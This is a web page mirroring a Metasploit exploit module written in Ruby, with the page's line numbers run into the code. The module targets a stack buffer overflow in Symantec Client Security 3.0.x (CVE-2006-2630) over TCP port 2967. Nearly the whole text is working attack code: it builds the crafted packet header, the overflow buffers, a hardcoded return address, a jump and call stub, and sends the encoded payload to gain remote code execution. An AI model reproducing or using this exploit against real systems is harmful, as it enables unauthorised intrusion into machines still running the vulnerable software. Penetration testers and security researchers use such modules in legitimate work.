Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/antivirus/symantec_rtvscan.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'Symantec Remote Management Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in Symantec Client Security 3.0.x.15This module has only been tested against Symantec Client Security 3.0.216build 10.0.2.2000.17},18'Author' => [ 'MC' ],19'License' => MSF_LICENSE,20'References' =>21[22['CVE', '2006-2630'],23['OSVDB', '25846'],24['BID', '18107'],25['URL', 'http://research.eeye.com/html/advisories/published/AD20060612.html'],26],27'Privileged' => true,2829'DefaultOptions' =>30{31'EXITFUNC' => 'thread',32},33'Payload' =>34{35'Space' => 500,36'BadChars' => "\x00",37'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",38},39'Platform' => 'win',40'Targets' =>41[42[ 'SCS 3.0.2 build 10.0.2.2000', { 'Ret' => 0x69985624 } ], # Dec2TAR.dll43],44'DefaultTarget' => 0,45'DisclosureDate' => '2006-05-24'))4647register_options(48[49Opt::RPORT(2967)50])51end5253def exploit54connect5556header = "\x01\x10\x0a\x20\x0a\x00\x00\x00"57header << "\x02\x18\x00\x01\x00\x00\x00\x00"58header << "\x00\x24\x00\x14\xb7\xc9\xd2\xd9"59header << "\x3e\x33\xef\x34\x25\x1f\x43\x00"6061crufta = rand_text_alphanumeric(512)62cruftb = rand_text_alphanumeric(514)63cruftc = payload.encoded + rand_text_alphanumeric(513 - payload.encoded.length)64cruftd = rand_text_alphanumeric(495)6566cruftd[479, 2] = "\xeb\x06"67cruftd[483, 4] = [target.ret].pack('V')68cruftd[487, 5] = [0xe8, -1000].pack('CV')6970cruftd << rand_text_alphanumeric(21)71crufte = rand_text_alphanumeric(6) + "\x19\x00\x00\x00"72crufte << rand_text_alphanumeric(504) + "\x00\x00"7374overflow = [ crufta.length ].pack('v') + crufta75overflow << [ cruftb.length ].pack('v') + cruftb76overflow << [ cruftc.length ].pack('v') + cruftc77overflow << [ cruftd.length ].pack('v') + cruftd78overflow << [ crufte.length ].pack('v') + crufte7980sploit = header + overflow8182print_status("Trying target #{target.name}...")83sock.put(sploit)8485handler86disconnect87end88end899091